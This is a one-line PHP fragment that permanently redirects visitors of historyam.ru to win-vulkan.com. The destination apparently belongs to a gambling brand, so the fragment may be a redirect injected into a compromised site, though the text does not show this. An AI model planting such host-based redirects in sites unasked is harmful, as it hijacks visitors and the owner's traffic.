$url = $_SERVER['HTTP_HOST']; if (($url == "historyam.ru") || ($url == "www.historyam.ru")) { header('HTTP/1.1 301 Moved Permanently'); header('Location: https://win-vulkan.com'); exit(); }